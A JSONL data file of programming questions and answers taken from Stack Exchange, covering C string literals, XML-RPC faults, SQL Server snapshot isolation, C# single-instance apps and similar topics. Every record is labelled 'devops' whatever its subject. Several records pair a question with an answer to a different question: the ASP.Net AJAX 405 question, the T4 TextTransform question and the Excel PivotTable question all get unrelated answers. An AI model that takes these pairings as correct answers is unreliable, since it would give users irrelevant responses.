{"id": "hf_df91d9522fc7", "question": "<p>I assume that <code>char* = \"string\"</code> is the same to <code>char* = new char[6]</code>. I believe these strings are created on the heap instead of the stack. So do I need to destroy them or free their memory when I'm done using them or do they get destroyed by themselves?</p>\n", "question_body": "", "answer": "You don't know where the string literals are stored. It may even be read-only memory, so your code should read:\n```\n```\nconst char* c = \"string\";\n```\n```\nAnd a\nnew\nchar array should be\ndelete\nd just like any other dynamically allocated memory area.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.158330"}
{"id": "hf_7e7736bc9baa", "question": "<p>What is the easiest way to extract the original exception from an exception returned via Apache's implementation of XML-RPC?</p>\n", "question_body": "", "answer": "According to the\nXML-RPC Spec\nit returns the \"fault\" in the xml.\nIs this the \"Exception\" you are referring to or are you refering to a Java Exception generated while making the XML-RPC call?\nFault example\n```\n```\nHTTP/1.1 200 OK\nConnection: close\nContent-Length: 426\nContent-Type: text/xml\nDate: Fri, 17 Jul 1998 19:55:02 GMT\nServer: UserLand Frontier/5.1.2-WinNT\n\n<?xml version=\"1.0\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n      <member>\n        <name>faultCode</name>\n        <value><int>4</int></value>\n      </member>\n      <member>\n        <name>faultString</name>\n        <value>\n          <string>Too many parameters.</string>\n        </value>\n      </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.180649"}
{"id": "hf_c0798377a43f", "question": "<p>The rich presentational capabilities of WPF and Silverlight mean developers like me will be working closely with graphic designers more often these days, as is the case in my next project.  </p>\n\n<p>Does anyone out there have any tips and experience (from both points of view) on making this go more smoothly?  </p>\n\n<p>For example, when I mentioned source control to a designer recently, I was quickly told you can't source control graphics, images etc, so it is a waste of time.  So I responded: ok but, what about XAML files in WPF/Silverlight?   </p>\n\n<p>Scott Hanselman spoke about this topic in a <a href=\"http://www.hanselminutes.com/default.aspx?showID=138\" rel=\"noreferrer\">podcast</a>, but he focused more on the tools, while I'm more interested in the communication issues/aspects.</p>\n", "question_body": "", "answer": "This may be a bit off topic (I'm replying specifically to your question about source control and graphics), but you\ncan\nput binary data (images etc.) into source control (and in my opinion in a lot of cases should) -- they just take up more disk space and you can't use a diff view to analyze what has changed in any meaningful way, but what you do gain is a history of commit messages documenting each revision, rollback ability and the ability to easily archive (\ntagging a revision\nin SVN terms) all files (be they visual assets, documentation, source code, whatever) belonging to a specific release/version together. It's also easier for your build system to just fetch everything required for building a specific version of your software from the source control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.214333"}
{"id": "hf_19b746317c19", "question": "<p>How can I discover any USB storage devices and/or CD/DVD writers available at a given time (using C# .Net2.0).</p>\n\n<p>I would like to present users with a choice of devices onto which a file can be stored for physically removal - i.e. not the hard drive.</p>\n", "question_body": "", "answer": "this is VB.NET code to check for any removable drives or CDRom drives attached to the computer:\n```\n```\nMe.lstDrives.Items.Clear()\nFor Each item As DriveInfo In My.Computer.FileSystem.Drives\n    If item.DriveType = DriveType.Removable Or item.DriveType = DriveType.CDRom Then\n        Me.lstDrives.Items.Add(item.Name)\n    End If\nNext\n```\n```\nit won't be that hard to modify this code into a c# equivalent, and more\ndriveType\n's are available.\nFrom MSDN:\nUnknown:\nThe type of drive is unknown.\nNoRootDirectory:\nThe drive does not have a root directory.\nRemovable:\nThe drive is a removable storage device, such as a floppy disk drive or a USB flash drive.\nFixed:\nThe drive is a fixed disk.\nNetwork:\nThe drive is a network drive.\nCDRom:\nThe drive is an optical disc device, such as a CD or DVD-ROM.\nRam:\nThe drive is a RAM disk.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.250072"}
{"id": "hf_3d51f7058742", "question": "<p>This is not specific to any language, it´s just about best practices. I am using JPA/Hibernate (but it could be any other ORM solution) and I would like to know how do you guys deal with this situation:\nLet´s suppose that you have a query returning something that is not represented by any of your domain classes.\nDo you create a specific class to represent that specific query?\nDo you return the query in some other kind of object (array, map...)\nSome other solutions?\nI would like to know about your experiences and best practices.</p>\n\n<p>P.S.\nActually I am creating specific objetcs for specific queries.</p>\n", "question_body": "", "answer": "I typically write a function that performs a query using SQL and then puts the results into either a list or dictionary (in Java, I'd use either an ArrayList or a HashMap).\nIf I found myself doing this a lot, I'd probably create a new file to hold all of these queries.  Otherwise I'd just make them functions in whatever file they were needed/used.\nSince we're talking Java specifically, I would certainly not create a new class in a separate file.  However, for queries needed in only one class, you could create a private static inner class with only the function(s) needed to generate the query(s) needed by that class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.287846"}
{"id": "hf_a3c2441a76d1", "question": "<p>The source database is quite large. The target database doesn't grow automatically. They are on different machines.</p>\n\n<p>I'm coming from a MS SQL Server, MySQL background and IDS11 seems overly complex (I am sure, with good reason).</p>\n", "question_body": "", "answer": "have you used the export tool ?  There used to be a way if you first put the db's into quiescent mode and then you could actually copy the DBSpaces across (dbspaces tool I think... its been a few years now).\nBecause with informix you used to be able to specify the DBSpaces(s) to used for the table (maybe even in the alter table ?).\nCheck - dbaccess tool - there is an export command.\nPut the DB's into quiesent mode or shut down, copy the dbspaces and then attach table telling it to point to the new dbspaces file.  (the dbspaces tool could be worth while looking at.. I have manuals around here.  they are 9.2, but it shouldn't have changed too much).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.373087"}
{"id": "hf_a213987e7af5", "question": "<p>Is it possible to deploy a native Delphi application with ClickOnce without a stub C# exe that would be used to launch the Delphi application?</p>\n\n<p>The same question applies to VB6, C++ and other native Windows applications.</p>\n", "question_body": "", "answer": "I'm not 100% sure if this can be accomplished without the stub, but this article may provide some insight:\nHow To: ClickOnce deployment for unmanaged app with COM component in managed assembly", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.433813"}
{"id": "hf_4f013a0fa00e", "question": "<p>I have a ASP.Net website that is failing on AJAX postbacks (both with ASP.Net AJAX and a 3rd part control) in IE.    FireFox works fine.  If I install the website on another machine without .Net 3.5 SP1, it works as expected.</p>\n\n<p>When it fails, Fiddler shows that I'm getting a 405 \"Method Not Allowed\".  The form seems to be posting to pages other than page I'm viewing.</p>\n\n<p>The form's action is \"#\" for the page on the broken website (with SP1).  The form's action is \"Default.aspx\" for the same page on a website without SP1.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "These are my observations rather than a full answer:\nMy guess (without trying to re-produce it myself) is that a couple of things may be happening as the DataSet tries to 'flatten' a hierarchical structure to a relational data structure.\n1) thinking about the data from a relational database perspective; there is no obvious primary key field for identifying each of the Foo elements in the collection so the DataSet has automatically used the ordinal position in the file as an auto-generated field called Foo-Id.\n2) There are actually two elements called 'Foo' so that probably explains the generation of a strange name for the column 'Foo-Id-0' (it has auto-generated a unique name for the column - I guess you could think of this as a fault-tolerant behaviour in the DataSet).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.505708"}
{"id": "hf_e4e013e2fb6c", "question": "<p>I have a variable of type <code>Dynamic</code> and I know for sure one of its fields, lets call it <code>a</code>, actually is an array. But when I'm writing </p>\n\n<pre><code>var d : Dynamic = getDynamic();\nfor (t in d.a) {\n}\n</code></pre>\n\n<p>I get a compilation error on line two:</p>\n\n<blockquote>\n  <p>You can't iterate on a Dynamic value, please specify Iterator or Iterable</p>\n</blockquote>\n\n<p>How can I make this compilable?</p>\n", "question_body": "", "answer": "Haxe can't iterate over\n```\nDynamic\n```\nvariables (as the compiler says).\nYou can make it work in several ways, where this one is probably easiest (depending on your situation):\n```\n```\nvar d : {a:Array<Dynamic>} = getDynamic();\nfor (t in d.a) { ... }\n```\n```\nYou could also change\n```\nDynamic\n```\nto the type of the contents of the array.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.557259"}
{"id": "hf_7e697dfaaecf", "question": "<p>Flat files and relational databases give us a mechanism to serialize structured data. XML is superb for serializing un-structured tree-like data.</p>\n\n<p>But many problems are best represented by graphs. A thermal simulation program will, for instance, work with temperature nodes connected to each others through resistive edges.</p>\n\n<p>So what is the best way to serialize a graph structure? I know XML can, to some extent, do it---in the same way that a relational database can serialize a complex web of objects: it usually works but can easily get ugly.</p>\n\n<p>I know about the dot language used by the graphviz program, but I'm not sure this is the best way to do it. This question is probably the sort of thing academia might be working on and I'd love to have references to any papers discussing this.</p>\n", "question_body": "", "answer": "XML is very verbose.  Whenever I do it, I roll my own.  Here's an example of a 3 node directed acyclic graph.  It's pretty compact and does everything I need it to do:\n```\n```\n0: foo\n1: bar\n2: bat\n----\n0 1\n0 2\n1 2\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.599233"}
{"id": "hf_6de57998c6f5", "question": "<p>How can I generate UML diagrams (especially sequence diagrams) from existing Java code?</p>\n", "question_body": "", "answer": "What is your codebase? Java or C++?\neUML2 for Java is a powerful UML modeler designed for Java developper\n  in Eclipse. The free edition can be used for commercial use. It\n  supports the following features:\nCVS and Team Support\nDesigned for large project with multiple and customizable model views\nHelios Compliant\nReal-time code/model synchronization\nUML2.1 compliant and support of OMG XMI\nJDK 1.4 and 1.5 support\nThe commercial edition provides:\nAdvanced reversed engineering\nPowerful true dependency analyze tools\nUML Profile and MDD\nDatabase tools\nCustomizable template support", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.627407"}
{"id": "hf_eb41c71ca25c", "question": "<p>When you send an email using C# and the System.Net.Mail namespace, you can set the \"From\" and \"Sender\" properties on the MailMessage object, but neither of these allows you to make the MAIL FROM and the from address that goes into the DATA section different from each other.  MAIL FROM gets set to the \"From\" property value, and if you set \"Sender\" it only adds another header field in the DATA section.  This results in \"From X@Y.COM on behalf of A@B.COM\", which is not what you want.  Am I missing something?</p>\n\n<p>The use case is controlling the NDR destination for newsletters, etc., that are sent on behalf of someone else.</p>\n\n<p>I am currently using <a href=\"http://www.aspnetemail.com/\" rel=\"noreferrer\">aspNetEmail</a> instead of System.Net.Mail, since it allows me to do this properly (like most other SMTP libraries).  With aspNetEmail, this is accomplished using the EmailMessage.ReversePath property.</p>\n", "question_body": "", "answer": "Do you mean this?:\n```\n```\n//create the mail message\n MailMessage mail = new MailMessage();\n\n //set the addresses\n mail.From = new MailAddress(\"me@mycompany.com\");\n mail.To.Add(\"you@yourcompany.com\");\n\n //set the content\n mail.Subject = \"This is an email\";\n mail.Body = \"this is a sample body with html in it. <b>This is bold</b> <font color=#336699>This is blue</font>\";\n mail.IsBodyHtml = true;\n\n //send the message\n SmtpClient smtp = new SmtpClient(\"127.0.0.1\");\n smtp.Send(mail);\n```\n```\nFrom\nhttp://www.systemnetmail.com/faq/3.1.2.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.651259"}
{"id": "hf_a36c71e16a10", "question": "<p>Is the edit control I'm typing in now, with all its buttons and rules freely available for use? </p>\n\n<p>My web project is also .Net based.</p>\n", "question_body": "", "answer": "It's the\nWMD\nMarkdown editor which is free and seems to be pretty easy to use.  Just include the javascript for it and (in the easiest case), it just attaches to the first textarea it finds.\nHere's some info about the\nPerl implementation of Markdown\nwhich, according to the site, WMD is 100% compatible with.\n@Chris Upchurch\nTechnically the current release isn't open-source, just free to use.  The next version is supposed to be released with an MIT license though.\n\"now completely free to use. The next release will be open source under an MIT-style license.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.675544"}
{"id": "hf_09bb72c6b195", "question": "<p>Is it any compilator option of flag?</p>\n", "question_body": "", "answer": "You can if you setup an external tool pointing to MsBuild to build the solution with the multiple process flag /m.\nScott Hanselman wrote a\nnice post\non how to accomplish this, so I won't repeat what he has already done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.725295"}
{"id": "hf_674b67be9ee8", "question": "<p>In a C# Windows Forms application I want to detect if another instance of the application is already running.\nIf so, activate the main form of the running instance and exit this instance.</p>\n\n<p>What is the best way to achieve this?</p>\n", "question_body": "", "answer": "Here is what I'm currently doing in the application's Program.cs file.\n```\n```\n// Sets the window to be foreground\n[DllImport(\"User32\")]\nprivate static extern int SetForegroundWindow(IntPtr hwnd);\n\n// Activate or minimize a window\n[DllImportAttribute(\"User32.DLL\")]\nprivate static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);\nprivate const int SW_RESTORE = 9;\n\nstatic void Main()\n{\n    try\n    {\n        // If another instance is already running, activate it and exit\n        Process currentProc = Process.GetCurrentProcess();\n        foreach (Process proc in Process.GetProcessesByName(currentProc.ProcessName))\n        {\n            if (proc.Id != currentProc.Id)\n            {\n                ShowWindow(proc.MainWindowHandle, SW_RESTORE);\n                SetForegroundWindow(proc.MainWindowHandle);\n                return;   // Exit application\n            }\n        }\n\n        Application.EnableVisualStyles();\n        Application.SetCompatibleTextRenderingDefault(false);\n        Application.Run(new MainForm());\n    }\n    catch (Exception ex)\n    {\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.823688"}
{"id": "hf_cd871265da63", "question": "<p>How do I figure out if an array contains an element? \nI thought there might be something like <code>[1, 2, 3].includes(1)</code> which would evaluate as <code>true</code>.</p>\n", "question_body": "", "answer": "For lists, use\n```\ncontains\n```\n:\n```\n```\n[1,2,3].contains(1) == true\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.860124"}
{"id": "hf_64a5e7b4f77c", "question": "<p>I'm having a problem running a T4 template using TextTransform.exe on my build server. On my dev machine the template works perfectly. The error message is as follows.</p>\n\n<blockquote>\n  <p>error : Running transformation: System.TypeLoadException: Could not instantiate type System.Xml.Linq.XDocument</p>\n</blockquote>\n\n<p>The build server has the windows 2008 SDK on it, my machine has VS 2008. I thought mayve it couldn't find System.Data.Xml so I ensure the dll was present in the same directory, but no luck. Any ideas?</p>\n", "question_body": "", "answer": "For lists, use\n```\ncontains\n```\n:\n```\n```\n[1,2,3].contains(1) == true\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.883974"}
{"id": "hf_388b28a5179f", "question": "<p>Given a string <code>\"filename.conf\"</code>, how to I verify the extension part?</p>\n\n<p>I need a cross platform solution.</p>\n", "question_body": "", "answer": "```\n```\n_splitpath, _wsplitpath, _splitpath_s, _wsplitpath_w\n```\n```\nThis is Windows (Platform SDK) only", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.931767"}
{"id": "hf_6a0a2d95a11b", "question": "<p>I would like my Core assembly to not expose a certain class and I would still like to be able to test it. How can I do that ?</p>\n", "question_body": "", "answer": "InternalsVisibleTo\nattribute to the rescue!\nJust add:\n```\n```\n[assembly:InternalsVisibleToAttribute(\"UnitTestAssemblyName\")]\n```\n```\nto your Core classes AssemblyInfo.cs file\nSee\nFriend Assemblies (C# Programming Guide)\nfor best practices.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.955543"}
{"id": "hf_2a7fe8966429", "question": "<p>In my base page I need to remove an item from the query string and redirect. I can't use<br/></p>\n\n<pre><code>Request.QueryString.Remove(\"foo\")\n</code></pre>\n\n<p>because the collection is read-only. Is there any way to get the query string (except for that one item) without iterating through the collection and re-building it?</p>\n", "question_body": "", "answer": "```\n```\nResponse.Redirect(String.Format(\"nextpage.aspx?{0}\", Request.QueryString.ToString().Replace(\"foo\", \"mangledfoo\")));\n```\n```\nI quick hack, saves you little. But foo will not be present for the code awaiting it in nextpge.aspx :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:53.983519"}
{"id": "hf_5168aff24cd4", "question": "<p>In Microsoft SQL Server, is there a way to detect whether a database has had its isolation level set via the T-SQL command <code>ALTER DATABASE &lt;database&gt; SET READ_COMMITTED_SNAPSHOT ON;</code>?</p>\n<p>I cannot find a simple way to detect this in either T-SQL or via the Management Studio's GUI.</p>\n", "question_body": "", "answer": "```\n```\nSELECT is_read_committed_snapshot_on FROM sys.databases \nWHERE name= 'YourDatabase'\n```\n```\nReturn value:\n1\n:\n```\nREAD_COMMITTED_SNAPSHOT\n```\noption is\nON\n. Read operations under the\n```\nREAD COMMITTED\n```\nisolation level are based on snapshot scans and do not acquire locks.\n0\n(default):\n```\nREAD_COMMITTED_SNAPSHOT\n```\noption is\nOFF\n. Read operations under the\n```\nREAD COMMITTED\n```\nisolation level use\nShared (S) locks\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.008403"}
{"id": "hf_71f568e53418", "question": "<p>Have any well-documented or open source projects targeted <code>iPhone</code>, <code>Blackberry</code>, and <code>Android</code> ? Are there other platforms which are better-suited to such an endeavor ? \nNote that I am particularly asking about client-side software, not web apps, though any information about the difficulties of using web apps across multiple mobile platforms is also interesting.</p>\n", "question_body": "", "answer": "The iPhone uses Objective C, the Blackberry Java SE with RIM functionality and Android another custom version of Java. I could possibly see how you could combine the latter two but there is no functionality (without jailbreaking) of running Java applications on an iPhone.\nThe best bet I've seen so far is something like\nQt\nthat will run on Windows CE, almost certainly shortly Symbian, some Java platforms and the three major desktop OSs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.033226"}
{"id": "hf_d5aa77484b38", "question": "<p><strong>Definition:</strong></p>\n\n<p><em>A palindrome is a word, phrase, number or other sequence of units that has the property of reading the same in either direction</em></p>\n\n<p>How to check if the given string is a palindrome?</p>\n\n<p>This was one of the FAIQ [Frequently Asked Interview Question] a while ago but that mostly using C.</p>\n\n<p>Looking for solutions in any and all languages possible.</p>\n", "question_body": "", "answer": "```\n```\nboolean isPalindrome(String str1) {\n  //first strip out punctuation and spaces\n  String stripped = str1.replaceAll(\"[^a-zA-Z0-9]\", \"\");\n  return stripped.equalsIgnoreCase((new StringBuilder(stripped)).reverse().toString());\n}\n```\n```\nJava version", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.058584"}
{"id": "hf_5a258fb67ec3", "question": "<p>I need to design a small project for generating excel reports in .NET, which will be sent to users to use.</p>\n\n<p>The excel reports will contain PivotTables.</p>\n\n<p>I don't have much experience with them, but I can think of three implementation alternatives:</p>\n\n<ol>\n<li>Set a query for it, populate it, send it disconnected. This way the user will be able to group values and play a little, but he will not be able to refresh the data.</li>\n<li>Generate a small access database and send it along with the excel file, connect to it.</li>\n<li>Copy the data to the excel (perhaps in some other sheet) and connect to the data there. This will make the excel file very large I think.</li>\n</ol>\n\n<p>What would be the best alternative in regards to performance vs usability? Is there another alternative I don't know about?</p>\n", "question_body": "", "answer": "```\n```\nboolean isPalindrome(String str1) {\n  //first strip out punctuation and spaces\n  String stripped = str1.replaceAll(\"[^a-zA-Z0-9]\", \"\");\n  return stripped.equalsIgnoreCase((new StringBuilder(stripped)).reverse().toString());\n}\n```\n```\nJava version", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.084578"}
{"id": "hf_b0f7279b9685", "question": "<p>Is there an existing solution to create a regular expressions dynamically out of a given date-time format pattern? The supported date-time format pattern does not matter (Joda <code>DateTimeFormat</code>, <code>java.text.SimpleDateTimeFormat</code> or others).</p>\n<p>As a specific example, for a given date-time format like <code>dd/MM/yyyy hh:mm</code>, it should generate the corresponding regular expression to match the date-times within the specified formats.</p>\n", "question_body": "", "answer": "```\nSimpleDateFormat\n```\nalready does this with the\n```\nparse()\n```\nmethod.\nIf you need to parse multiple dates from a single string, start with a regex (even if it matches too leniently), and use\n```\nparse()\n```\non all the potential matches found by the regex.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.146137"}
{"id": "hf_d8f2dd84744d", "question": "<p>I am trying to code TDD style in PHP and one of my biggest stumbling blocks (other than lack of a decent IDE) is that I have to make my own hacked together IoC container just to inject all my mock objects properly.</p>\n\n<p>Has anyone used an Ioc container in PHP?  All I've been able to find is <a href=\"http://www.phpclasses.org/browse/package/3382.html\" rel=\"nofollow noreferrer\">PHP IOC on the ever-annoying phpclasses.org</a> and it seems to have almost no documentation and not much of a following.</p>\n", "question_body": "", "answer": "I played with some DI Frameworks for PHP, but I haven't used one in production. Have some links:\nhttp://www.stubbles.net/\nwhich\nI think is the oldest I tried\nhttp://php.xjconf.net/\nFLOW3\n- I belive this one will\nbecome a very nice framework (its\nbeta right now)\nYou mentioned you would use it for TDD - so maybe have a look at\nDependency Injection for Unit Tests in PHP", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.181991"}
{"id": "hf_b41a9e16415e", "question": "<p>How can I build a loop in JavaScript?</p>\n", "question_body": "", "answer": "A loop in JavaScript looks like this:\n```\n```\nfor (var = startvalue; var <= endvalue; var = var + increment) {\n    // code to be executed\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.209170"}
{"id": "hf_86910489f9ed", "question": "<p>How can you obtain the Type (the name as a string is sufficient) of an Object in VB6 at runtime?</p>\n\n<p>i.e. something like:</p>\n\n<pre><code>If Typeof(foobar) = \"CommandButton\" Then ...\n</code></pre>\n\n<p><strong>/EDIT:</strong> to clarify, I need to check on Dynamically Typed objects. An example:</p>\n\n<pre><code>Dim y As Object \n\nSet y = CreateObject(\"SomeType\")\n\nDebug.Print( &lt;The type name of&gt; y)\n</code></pre>\n\n<p>Where the output would be \"CommandButton\"</p>\n", "question_body": "", "answer": "This should prove difficult, since in VB6 all objects are COM (\n```\nIDispatch\n```\n) things. Thus they are only an interface.\n```\nTypeOf(object) is class\n```\nprobably only does a COM get_interface call (I forgot the exact method name, sorry).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.329561"}
{"id": "hf_bb890c00ad37", "question": "<p>Does anyone have any experience with a tool that generates test strings from a BNF grammar that could then be fed into a unit test?</p>\n", "question_body": "", "answer": "I don't have an answer to the tool question, but I will say it is fairly easy in any text processing language (perl/python/etc) to randomly generate sentences from a BNF grammar, and slightly more verbose in a bigger language (Java/C/etc), but it shouldn't be too hard to roll your own.\nThe problem with this, of course, is that it can only generate strings in the grammar, and unless your grammar is very simple, the test space is infinitely large.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.354767"}
{"id": "hf_f808ea668958", "question": "<p>I've noticed that SQL Server 2005 x64 does not seem to lock pages into memory the same way SQL Server 2000 did.  In 2000 I could easily see from task manager that SQL had locked 8GB of ram with AWE.  I'm fairly certain I've got 2005 setup in an equivalent way.</p>\n\n<p>Is this a normal x64 difference or am I forgetting a crucial setup option?</p>\n", "question_body": "", "answer": "SQL Server 2005 x64 certainly doesn't need, or use, AWE; AWE is only to allow it to use > 4GB on 32 bit systems.\nYou\ncan\nuse the old lock-pages-in-memory trick, but as this KB shows (\nhttp://support.microsoft.com/kb/918483\n): \"Note For 64-bit editions of SQL Server 2005, only SQL Server 2005 Enterprise Edition can use the Lock pages in memory user right.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.378437"}
{"id": "hf_085afa491fe4", "question": "<p>Since Graduating from a very small school in 2006 with a badly shaped &amp; outdated program (I'm a foreigner &amp; didn't know any better school at the time) I've come to realize that I missed a lot of basic concepts from a mathematical &amp; software perspective that are mostly the foundations of other higher concepts.</p>\n\n<p>I.e. I tried to listen/watch the open courseware from MIT on <a href=\"http://ocw.mit.edu/OcwWeb/Electrical-Engineering-and-Computer-Science/6-046JFall-2005/CourseHome/\" rel=\"nofollow noreferrer\">Introduction to Algorithms</a> but quickly realized I was missing several mathematical concepts to better understand the course.</p>\n\n<p>So what are the core mathematical concepts a good software engineer should know? And what are the possible books/sites you will recommend me?</p>\n", "question_body": "", "answer": "Start with what we CS folks call \"discrete math\".  Calculus and linear algebra can come in quite handy too because they get your foot in the door to a lot of application domains.  Once you've mastered those three, go for probability theory.  Those 4 will get you to competency in 95% (I made that up) of application domains.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:54.420320"}
